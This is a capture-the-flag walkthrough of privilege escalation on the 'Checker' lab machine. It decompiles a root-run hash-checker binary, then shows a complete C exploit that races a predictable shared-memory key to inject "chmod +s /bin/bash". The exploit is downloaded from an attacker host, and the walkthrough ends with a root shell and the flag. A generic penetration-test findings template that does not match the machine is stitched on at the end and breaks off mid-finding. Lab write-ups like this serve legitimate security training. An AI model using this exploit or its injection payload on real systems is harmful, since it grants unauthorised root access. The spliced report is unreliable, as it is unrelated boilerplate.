source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh
Error: <USER> is not provided.

We used bob as example and received the information about a specific address in memory used as temp location.

reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x24172 as temp location
User will be notified via [email protected]

We also checked the other available files to see how we could leverage the script to our favor.

reader@checker:/opt$ ls -la
total 20
drwxr-xr-x  5 root     root     4096 Jan 30 17:04 .
drwxr-xr-x 21 root     root     4096 Feb  6 04:22 ..
drwxr-xr-x 15 www-data root     4096 Feb  6 04:22 BookStack
drwxr-x--- 13 www-data www-data 4096 Jun 13  2024 TeamPass
drwxr-xr-x  2 root     root     4096 Jan 30 17:09 hash-checker
reader@checker:/opt/hash-checker$ ls -la
total 68
drwxr-xr-x 2 root root  4096 Jan 30 17:09 .
drwxr-xr-x 5 root root  4096 Jan 30 17:04 ..
-r-------- 1 root root   118 Jan 30 17:07 .env
-rwxr--r-- 1 root root   141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root   750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root  1464 Jan 30 17:09 leaked_hashes.txt

The file check_leak was a binary which needed to investigate a few steps later.

reader@checker:/opt/hash-checker$ file check_leak
check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped

The file leaked_hashes.txt contained.. hashes - as expected.

reader@checker:/opt/hash-checker$ cat leaked_hashes.txt 
$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
$2b$10$a/lpwbKF6pyAWeGHCVARz.JOi3xtNzGK..GZON/cFhNi1eyMi4UIC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$DanymKXfnu1ZTrRh3JwBhuPsmjgOEBJLNEEmLPAAIfG9kiOI28fIC
$2b$10$/GwrAIQczda3O5.rnGb4IOqEE/JMU4TIcy95ECSh/pZBQzhlWITQ.
$2b$10$Ef6TBE9GdSsjUPwjm0NYlurGfVO/GdtaCsWBpVRPnQsCbYgf4oU8a
$2b$10$/KLwuhoXHfyKpq1qj8BDcuzNyhR0h0g27jl0yiX7BpBL9kO.wFWii
$2b$10$Ito9FRIN9DgMHWn20Zgfa.yKKlJ.HedScxyvymCxMYTWaZANHIzvO
$2b$10$J025XtUSjTm.kUfa19.6geInkfiISIjkr7unHxT4V/XDIl.2LYrZ2
$2b$10$g962m7.wovzDRPI/4l0GEOviIs2WUPBqlkPgVAPfsYpa138dd9aYK
$2b$10$keolOsecWXEyDIN/zDPVbuc/UOjGjnZGblpdBPQAfZDVm2fRIDUCq
$2b$10$y2Toog209OyRWk6z7S7XNOAkVBijv3HwNBpKk.R1bPCYuR8WxrL66
$2b$10$O4OQizv0TVsWxWi26tg8Xu3SCS29ZEv9JqwlY5ED240qW8V0eyG7a
$2b$10$/1ePaOFZrcpNHWFk72ZNpepXRvXIi1zMSBYBGGqxfUlxw/JiQQvCG
$2b$10$/0az8KLoanuz3rfiN.Ck9./Mt6IHxs5OGtKbgM31Z0NH9maz1hPDe
$2b$10$VGR3JK.E0Cc3OnY9FuB.u.qmwFBBRCrRLAvUlPnO5QW5SpD1tEeDO
$2b$10$9p/iOwsybwutYoL3xc5jaeCmYu7sffW/oDq3mpCUf4NSZtq2CXPYC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$8cXny33Ok0hbi2IY46gjJerQkEgKj.x1JJ6/orCvYdif07/tD8dUK
$2b$10$QAcqcdyu1T1qcpM4ZQeM6uJ3dXw2eqT/lUUGZvNXzhYqcEEuwHrvS
$2b$10$M1VMeJrjgaIbz2g2TCm/ou2srr4cd3c18gxLA32NhvpXwxo3P5DZW
$2b$10$rxp3yM98.NcbD3NeHLjGUujzIEWYJ5kiSynHOHo0JvUvXq6cBLuRO
$2b$10$ZOUUTIj7JoIMwoKsXVOsdOkTzKgHngBCqkt.ASKf78NUwfeIB4glK

So we downloaded PSPY to see what was going on when we executed the command in a second shell before me moved on downloading the file for reverse engineering it.

reader@checker:/dev/shm$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<--- CUT FOR BREVITY --->
2025/02/24 15:54:10 CMD: UID=0     PID=7910   | sudo /opt/hash-checker/check-leak.sh bob 
2025/02/24 15:54:10 CMD: UID=0     PID=7912   | 
2025/02/24 15:54:10 CMD: UID=0     PID=7911   | sudo /opt/hash-checker/check-leak.sh bob 
2025/02/24 15:54:10 CMD: UID=0     PID=7913   | dirname /opt/hash-checker/check-leak.sh 
2025/02/24 15:54:10 CMD: UID=0     PID=7916   | /usr/bin/tr -dc [:alnum:] 
2025/02/24 15:54:10 CMD: UID=0     PID=7915   | /usr/bin/echo bob 
2025/02/24 15:54:10 CMD: UID=0     PID=7914   | /bin/bash /opt/hash-checker/check-leak.sh bob 
2025/02/24 15:54:10 CMD: UID=0     PID=7917   | /bin/bash /opt/hash-checker/check-leak.sh bob 
2025/02/24 15:54:11 CMD: UID=0     PID=7919   | /opt/hash-checker/check_leak bob 
2025/02/24 15:54:11 CMD: UID=0     PID=7920   | mysql -u teampass_user -D teampass -s -N -e select email from teampass_users where pw = "$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy" 
2025/02/24 15:54:11 CMD: UID=0     PID=7921   | /opt/hash-checker/check_leak bob

Reverse Engineering

Investigating the Binary

First of all we downloaded the binary using a Python Web Server on the box because netcat was not available.

reader@checker:/opt/hash-checker$ python3 -m http.server 6666
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
┌──(kali㉿kali)-[/media/…/HTB/Machines/Checker/files]
└─$ wget http://10.129.57.127:6666/check_leak
--2025-02-24 16:48:55--  http://10.129.57.127:6666/check_leak
Connecting to 10.129.57.127:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 42376 (41K) [application/octet-stream]
Saving to: ‘check_leak’

check_leak                                                 100%[========================================================================================================================================>]  41.38K  --.-KB/s    in 0.03s   

2025-02-24 16:48:55 (1.19 MB/s) - ‘check_leak’ saved [42376/42376]

We started with a simple string against the binary to print out the ASCII readable stirngs.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Checker/files]
└─$ strings check_leak 
/lib64/ld-linux-x86-64.so.2
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
__asan_init
__asan_report_load1
strlen
__asan_report_store1
__asan_stack_malloc_5
__asan_stack_free_5
__asan_option_detect_stack_use_after_return
__asan_report_load8
fprintf
__asan_handle_no_return
snprintf
malloc
fwrite
strcpy
__asan_stack_malloc_3
fopen
strcmp
fclose
fgets
__asan_stack_malloc_0
__asan_report_store8
ctime
shmctl
strstr
strchr
puts
popen
free
pclose
strdup
fflush
__asan_unregister_globals
__asan_version_mismatch_check_v8
__asan_register_globals
mysql_fetch_row
mysql_error
mysql_init
mysql_close
mysql_real_connect
mysql_store_result
mysql_free_result
mysql_query
__cxa_finalize
__libc_start_main
srand
shmat
stdout
shmget
shmdt
sleep
getenv
unsetenv
stderr
perror
exit
__stack_chk_fail
libasan.so.6
libmysqlclient.so.21
libm.so.6
libc.so.6
GLIBC_2.34
GLIBC_2.4
GLIBC_2.2.5
libmysqlclient_21.0
PTE1
u+UH
AVAUATSH
[A\A]A^]
AVAUATSH
[A\A]A^]
AVAUATSH
[A\A]A^]
AVAUATSH
[A\A]A^]
1 32 1024 8 query:36
Error: %s
SELECT pw FROM teampass_users WHERE login = '%s';
Error storing result: %s
Memory allocation error.
1 32 256 7 line:76
Error opening file
1 32 8 7 now:105
shmget
shmat
Leaked hash detected at %s > %s
Failed to locate shared memory segment with key 0x%X. It may not exist or there may be insufficient permissions.
Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.
An error occurred while detaching from shared memory segment with ID %d.
Could not delete shared memory segment with ID %d. Please ensure you have the necessary permissions.
1 32 256 17 result_buffer:171
No shared memory segment found for the given address: 0x%X
Leaked hash detected
MYSQL_PWD
setenv
mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'
Failed to allocate memory for command
Failed to execute MySQL query
Failed to read result from the db
Failed to allocate memory for result string
User will be notified via %s
Malformed data in the shared memory.
No hash detected in shared memory.
shmdt
DB_HOST
DB_USER
DB_PASSWORD
DB_NAME
/opt/hash-checker/leaked_hashes.txt
Error: Missing database credentials in environment
Usage: %s <USER>
Error: <USER> is not provided.
Error: <USER> is too long. Maximum length is 20 characters.
Password is leaked!
Using the shared memory 0x%X as temp location
User is safe.
User not found in the database.
*.LC4
check.c
*.LC30
*.LC24
*.LC3
*.LC9
*.LC32
*.LC35
*.LC21
*.LC2
*.LC41
*.LC36
*.LC37
*.LC26
*.LC42
*.LC12
*.LC10
*.LC38
*.LC22
*.LC17
*.LC14
*.LC40
*.LC7
*.LC23
*.LC13
*.LC31
*.LC1
*.LC20
*.LC18
*.LC11
*.LC29
*.LC27
*.LC6
*.LC28
*.LC34
*.LC39
*.LC33
*.LC19
*.LC25
*.LC15
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
__lsan
kCurrentStackFrameMagic
_ZNK11__sanitizer10StackTrace5PrintEv
kWordSizeInBits
__local_asan_preinit
kMaxPathLength
_ZN11__sanitizer10StackTraceC4EPKmj
kModuleUUIDSize
kMaxSummaryLength
GetNextInstructionPc
kAsanGlobalRedzoneMagic
_ZN11__sanitizer10StackTrace11TAG_UNKNOWNE
kCacheLineSize
kAsanAllocaRightMagic
__asan
__dsan
_ZN11__sanitizer10StackTrace10TAG_CUSTOME
kAsanStackLeftRedzoneMagic
kAsanIntraObjectRedzone
__tsan
__memprof
kAsanStackRightRedzoneMagic
WillUseFastUnwind
__msan
_ZN11__sanitizer10StackTraceC4EPKmjj
__xray
GetPreviousInstructionPc
bool
__asan_init
Print
TAG_DEALLOC
kRetiredStackFrameMagic
kErrorMessageBufferSize
long int
trace
kAsanStackUseAfterScopeMagic
kMaxThreadStackSize
kExternalPCBit
unsigned char
kAsanArrayCookieMagic
kAsanContiguousContainerOOBMagic
long long unsigned int
__hwasan
GetCurrentPc
_ZN11__sanitizer10StackTrace9TAG_ALLOCE
_ZN11__sanitizer10StackTrace11TAG_DEALLOCE
_ZN11__sanitizer10StackTrace17WillUseFastUnwindEb
kFrameSize
kAsanShadowGap
StackTrace
kAsanStackMidRedzoneMagic
_ZN11__sanitizer10StackTrace20GetNextInstructionPcEm
kAsanStackAfterReturnMagic
kWordSize
size
short unsigned int
__sanitizer
__interception
kStackTraceMax
kAsanInternalHeapMagic
TAG_CUSTOM
_ZN11__sanitizer10StackTraceC4Ev
kAsanAllocaLeftMagic
kReleaseToOSIntervalNever
TAG_UNKNOWN
kAsanUserPoisonedMemoryMagic
__ubsan
_ZN11__sanitizer10StackTrace24GetPreviousInstructionPcEm
kAsanHeapFreeMagic
_ZN11__sanitizer10StackTrace12GetCurrentPcEv
TAG_ALLOC
kMaxSegName
kAsanHeapLeftRedzoneMagic
__dfsan
uptr
GNU C++14 11.4.0 -mshstk -mtune=generic -march=x86-64 -g -O2 -std=gnu++14 -fPIC -fno-builtin -fno-exceptions -fno-rtti -fomit-frame-pointer -funwind-tables -fvisibility=hidden -fno-ipa-icf -fcf-protection=full -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection
kAsanInitializationOrderMagic
__scudo
../../../../src/libsanitizer/asan/asan_preinit.cpp
/build/gcc-11-XeT9lY/gcc-11-11.4.0/build/x86_64-linux-gnu/libsanitizer/asan
../../../../src/libsanitizer/asan
../../../../src/libsanitizer/sanitizer_common
sanitizer_internal_defs.h
sanitizer_common.h
sanitizer_stacktrace.h
asan_internal.h
asan_interface_internal.h
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
asan_preinit.cpp
check.c
_sub_D_00099_0
_sub_I_00099_1
__FRAME_END__
_GLOBAL_OFFSET_TABLE_
_DYNAMIC
__GNU_EH_FRAME_HDR
puts
main
strcpy
__TMC_END__
_ITM_deregisterTMCloneTable
clear_shared_memory
_fini
mysql_close@libmysqlclient_21.0
__cxa_finalize@GLIBC_2.2.5
fclose
write_to_shm
fopen
__data_start
__bss_start
__stack_chk_fail@GLIBC_2.4
perror@GLIBC_2.2.5
popen
strchr
ctime
__asan_handle_no_return
mysql_fetch_row@libmysqlclient_21.0
check_bcrypt_in_file
_end
fgets
__gmon_start__
unsetenv@GLIBC_2.2.5
__asan_stack_malloc_0
__asan_report_store8
shmctl
snprintf
stdout@GLIBC_2.2.5
fflush
free
_edata
stderr@GLIBC_2.2.5
trim_bcrypt_hash
shmget@GLIBC_2.2.5
mysql_error@libmysqlclient_21.0
__asan_init
exit@GLIBC_2.2.5
__local_asan_preinit
mysql_query@libmysqlclient_21.0
fwrite
getenv@GLIBC_2.2.5
malloc
shmdt@GLIBC_2.2.5
__asan_stack_malloc_5
pclose
__asan_unregister_globals
mysql_free_result@libmysqlclient_21.0
__asan_report_load1
strstr
strdup
mysql_store_result@libmysqlclient_21.0
__asan_stack_malloc_3
__asan_stack_free_5
fetch_hash_from_db
__asan_option_detect_stack_use_after_return
shmat@GLIBC_2.2.5
__asan_report_load8
_ITM_registerTMCloneTable
__asan_register_globals
__dso_handle
strlen
fprintf
notify_user
__asan_report_store1
sleep@GLIBC_2.2.5
mysql_real_connect@libmysqlclient_21.0
_IO_stdin_used
mysql_init@libmysqlclient_21.0
__asan_version_mismatch_check_v8
srand@GLIBC_2.2.5
strcmp
__libc_start_main@GLIBC_2.34
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.preinit_array
.init_array
.fini_array
.dynamic
.data
.bss
.comment
.debug_aranges
.debug_info
.debug_abbrev
.debug_line
.debug_str
.debug_line_str

Reversing with Ghidra

As next step we opened the binary in Ghidra to get a better understanding of it.

We started with the main function to get used to the program but there was nothing special in particular for us to find.

undefined8 main(int param_1,ulong param_2)

{
  char cVar1;
  undefined4 uVar2;
  uint param1;
  char *pcVar3;
  char *pcVar4;
  char *pcVar5;
  char *pcVar6;
  size_t sVar7;
  char *pcVar8;
  char *extraout_RDX;
  
  pcVar3 = getenv("DB_HOST");
  pcVar4 = getenv("DB_USER");
  pcVar5 = getenv("DB_PASSWORD");
  pcVar6 = getenv("DB_NAME");
  if (*(char *)((param_2 + 8 >> 3) + 0x7fff8000) != '\0') {
    __asan_report_load8(param_2 + 8);
  }
  pcVar8 = *(char **)(param_2 + 8);
  if ((((pcVar3 == (char *)0x0) || (pcVar4 == (char *)0x0)) || (pcVar5 == (char *)0x0)) ||
     (pcVar6 == (char *)0x0)) {
    if (DAT_80019140 != '\0') {
      __asan_report_load8(&stderr);
    }
    fwrite("Error: Missing database credentials in environment\n",1,0x33,stderr);
    __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (param_1 != 2) {
    if (*(char *)((param_2 >> 3) + 0x7fff8000) != '\0') {
      __asan_report_load8(param_2);
    }
    pcVar3 = *(char **)param_2;
    if (DAT_80019140 != '\0') {
      __asan_report_load8(&stderr);
      pcVar3 = extraout_RDX;
    }
    fprintf(stderr,"Usage: %s <USER>\n",pcVar3);
    __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (pcVar8 != (char *)0x0) {
    cVar1 = *(char *)(((ulong)pcVar8 >> 3) + 0x7fff8000);
    if (cVar1 <= (char)((byte)pcVar8 & 7) && cVar1 != '\0') {
      __asan_report_load1(pcVar8);
    }
    if (*pcVar8 != '\0') {
      sVar7 = strlen(pcVar8);
      if (0x14 < sVar7) {
        if (DAT_80019140 != '\0') {
          __asan_report_load8(&stderr);
        }
        fwrite("Error: <USER> is too long. Maximum length is 20 characters.\n",1,0x3c,stderr);
        __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      pcVar8 = fetch_hash_from_db(pcVar3,pcVar4,pcVar5,pcVar6,pcVar8);
      if (pcVar8 == (char *)0x0) {
        puts("User not found in the database.");
      }
      else {
        uVar2 = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",pcVar8);
        if ((char)uVar2 == '\0') {
          puts("User is safe.");
        }
        else {
          puts("Password is leaked!");
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          param1 = write_to_shm(pcVar8);
          printf("Using the shared memory 0x%X as temp location\n",param1);
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          sleep(1);
          notify_user(pcVar3,pcVar4,pcVar5,pcVar6,param1);
          clear_shared_memory(param1);
        }
        free(pcVar8);
      }
      return 0;
    }
  }
  if (DAT_80019140 != '\0') {
    __asan_report_load8(&stderr);
  }
  fwrite("Error: <USER> is not provided.\n",1,0x1f,stderr);
  __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
  exit(1);
}

Then we had a look at a function called writetoshm which looked kinda interesting to us. By the name we assumed that it used shared memory at some point.

int write_to_shm(char *param_1)

{
  char cVar1;
  int iVar2;
  int __shmid;
  undefined8 *puVar3;
  time_t tVar4;
  char *param0;
  char *__s;
  size_t sVar5;
  char *pcVar6;
  undefined8 *puVar7;
  ulong uVar8;
  long in_FS_OFFSET;
  undefined8 local_88 [11];
  long local_30;
  
  puVar7 = local_88;
  if (__asan_option_detect_stack_use_after_return != 0) {
    puVar3 = (undefined8 *)__asan_stack_malloc_0(0x40);
    if (puVar3 != (undefined8 *)0x0) {
      puVar7 = puVar3;
    }
  }
  *puVar7 = 0x41b58ab3;
  puVar7[1] = "1 32 8 7 now:105";
  puVar7[2] = write_to_shm;
  uVar8 = (ulong)puVar7 >> 3;
  *(undefined4 *)(uVar8 + 0x7fff8000) = 0xf1f1f1f1;
  *(undefined4 *)(uVar8 + 0x7fff8004) = 0xf3f3f300;
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  tVar4 = time((time_t *)0x0);
  srand((uint)tVar4);
  iVar2 = rand();
  __shmid = shmget(iVar2 % 0xfffff,0x400,0x3b6);
  if (__shmid == -1) {
    perror("shmget");
    __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  param0 = (char *)shmat(__shmid,(void *)0x0,0);
  if (param0 == (char *)0xffffffffffffffff) {
    perror("shmat");
    __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  tVar4 = time((time_t *)0x0);
  if (*(char *)(((ulong)(puVar7 + 4) >> 3) + 0x7fff8000) != '\0') {
    tVar4 = __asan_report_store8(puVar7 + 4);
  }
  puVar7[4] = tVar4;
  __s = ctime(puVar7 + 4);
  sVar5 = strlen(__s);
  pcVar6 = __s + (sVar5 - 1);
  cVar1 = *(char *)(((ulong)pcVar6 >> 3) + 0x7fff8000);
  if (cVar1 <= (char)((byte)pcVar6 & 7) && cVar1 != '\0') {
    __asan_report_store1(pcVar6);
  }
  *pcVar6 = '\0';
  snprintf(param0,0x400,"Leaked hash detected at %s > %s\n",__s,param_1);
  shmdt(param0);
  if (local_88 == puVar7) {
    *(undefined8 *)(uVar8 + 0x7fff8000) = 0;
  }
  else {
    *puVar7 = 0x45e0360e;
    *(undefined8 *)(uVar8 + 0x7fff8000) = 0xf5f5f5f5f5f5f5f5;
    *(undefined *)puVar7[7] = 0;
  }
  if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar2 % 0xfffff;
}

We created a more readable and partially reversed version of the function.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/shm.h>
#include <unistd.h>

#define SHM_SIZE 1024  // 0x400
#define SHM_PERMISSIONS 0666  // 0x3B6 (read/write for all users)

int write_to_shm(char *leaked_hash) {
    int shared_mem_id;
    char *shared_mem_ptr;
    time_t current_time;
    int random_key;
    char timestamp[100];

    // Generate a random key based on current time
    current_time = time(NULL);
    srand((unsigned int)current_time);
    random_key = rand() % 0xFFFFF;  // Limit to avoid exceeding function limit

    // Create a shared memory segment
    shared_mem_id = shmget(random_key, SHM_SIZE, IPC_CREAT | SHM_PERMISSIONS);
    if (shared_mem_id == -1) {
        perror("shmget failed");
        exit(EXIT_FAILURE);
    }

    // Attach to the shared memory segment
    shared_mem_ptr = (char *)shmat(shared_mem_id, NULL, 0);
    if (shared_mem_ptr == (char *)-1) {
        perror("shmat failed");
        exit(EXIT_FAILURE);
    }

    // Get the current timestamp
    current_time = time(NULL);
    strncpy(timestamp, ctime(&current_time), sizeof(timestamp) - 1);
    timestamp[strcspn(timestamp, "\n")] = '\0';  // Remove newline from timestamp

    // Write the leaked hash information to shared memory
    snprintf(shared_mem_ptr, SHM_SIZE, "Leaked hash detected at %s > %s\n", timestamp, leaked_hash);

    // Detach from shared memory
    shmdt(shared_mem_ptr);

    // Return the shared memory key
    return random_key;
}

Functionality Breakdown

For our notes we created a short list to summarize our investigations.

  • Generates a pseudo-random key (based on time()).
  • Creates a shared memory segment (shmget).
  • Attaches to the memory (shmat).
  • Writes a formatted message including a timestamp and leaked hash.
  • Detaches from shared memory (shmdt).
  • Returns the shared memory key for potential later access.

Potential Issues and Security Concerns

The function suffered from Shared Memory Persistence and did not remove the shared memory segment (shmctl(_shmid, IPCRMID, NULL) is missing). This meant that multiple calls could be created in orphaned shared memory segments.

Another issue was the Predictable Shared Memory Key. The key was derived from rand() % 0xfffff, which was not cryptographically secure. Therefore we could predict the key if they knew the process timing.

Due to the lack of synchronization the function did not check if the memory already existed. This was particularly problematic because of the Weak Memory Permissions (0666) which meant that the segment was readable and writeable by any user.

And at last we assumed a possible Format String Vulnerability because if param_1 came from our input, it should be sanitized to avoid % format string vulnerabilities.

Privilege Escalation to root

Winning the Race Condition

The idea to abuse the vulnerabilities above was to run the same logic to determine the shared memory key and instead of letting write root the data we tried to preemptively inject our own payload.

Exploit Development

Proof of Concept (PoC)

We reused parts of the function in our Proof of Concept (PoC) exploit.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Checker/serve]
└─$ cat exploit.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <time.h>
#include <stdlib.h>

#define MEMSIZE 0x400
#define MEMPERM 0x3B6
int main(void) {
    int shm_id; // Return location for shared memory https://www.csl.mtu.edu/cs4411.ck/www/NOTES/process/shm/shmget.html
    key_t mem_key;
    char* shm_ptr;
    int random_number;
    const char *payload = "Leaked hash detected at Sun Feb 23 16:18:11 2025 > ';chmod +s /bin/bash;#";

    // Get current time in epoch and feed it to the srand function
    time_t cTime = time(NULL);
    srand((unsigned int)cTime);

    // The key divded by a big number, so that it fits in the limits of SHM calls?
    random_number = rand();
    mem_key = (random_number % 0xfffff);

    // Allocate shared memory
    shm_id = shmget(mem_key, MEMSIZE, IPC_CREAT | MEMPERM);
    if (shm_id == -1) {
    printf("[!] shmget error \n");
    exit(1);
    }

    // We grab a pointer to the memory location
    shm_ptr = (char *)shmat(shm_id, NULL, 0);
    if (shm_ptr == (char *)-1) {
    printf("[!] shmat error \n");
    exit(1);
    }

    // We write our payload to the memory location
    snprintf(shm_ptr, MEMSIZE, "%s", payload);
    if (shmdt(shm_ptr) == -1) {
    printf("[!] shmdt error\n");
    exit(1);
    }
    return 0;
}

Then we compiled and uploaded our exploit to the box.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Checker/serve]
└─$ gcc exploit.c -o exploit
reader@checker:/tmp$ wget http://10.10.14.69/exploit
--2025-02-25 08:22:30--  http://10.10.14.69/exploit
Connecting to 10.10.14.69:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16336 (16K) [application/octet-stream]
Saving to: ‘exploit’

exploit                                                    100%[========================================================================================================================================>]  15.95K  --.-KB/s    in 0.02s   

2025-02-25 08:22:30 (926 KB/s) - ‘exploit’ saved [16336/16336]

In order to execute it, we made it executable by setting the relevant permission on the file.

reader@checker:/tmp$ chmod +x exploit
reader@checker:/tmp$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

Since the random number generator was seeded with time() we needed to win the race condition and therefore we created a simple loop to execute our exploit.

reader@checker:/tmp$ while true; do ./exploit; done

In a second shell we then also looped through the check-leak.sh script to start our attack.

reader@checker:~$ while true; do sudo /opt/hash-checker/check-leak.sh bob; done
Password is leaked!
Using the shared memory 0x6BEE as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1
Failed to read result from the db
Password is leaked!
Using the shared memory 0xB3023 as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1
Failed to read result from the db
Password is leaked!
Using the shared memory 0xA09F9 as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1
Failed to read result from the db
Password is leaked!

After a few seconds the SUID bit was set on /bin/bash and we could elevate our privileges to root by using /bin/bash -p.

reader@checker:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
reader@checker:~$ /bin/bash -p
bash-5.1#

root.txt

bash-5.1# cat root.txt 
236413870a993cb7bdabb1e59bbd163f

📋 Security Assessment Report

2
Critical
6
High
0
Medium
3
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — JWT Misconfiguration — Token Forgery and Account Takeover
8.8
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application implemented JSON Web Token authentication with a critical misconfiguration — either the "none" algorithm was accepted (allowing tokens with no signature to be trusted), or the signing secret was sufficiently weak to be recovered through offline cracking — enabling an attacker to forge tokens for arbitrary user identities.

Impact

An attacker can forge a JWT token asserting any user identity — including administrator accounts — without knowledge of any credentials. The forged token is accepted as legitimate by the application, granting the full privileges of the impersonated account. During this engagement, JWT misconfiguration was exploited to obtain administrative application access, which was subsequently leveraged to achieve server-level code execution.

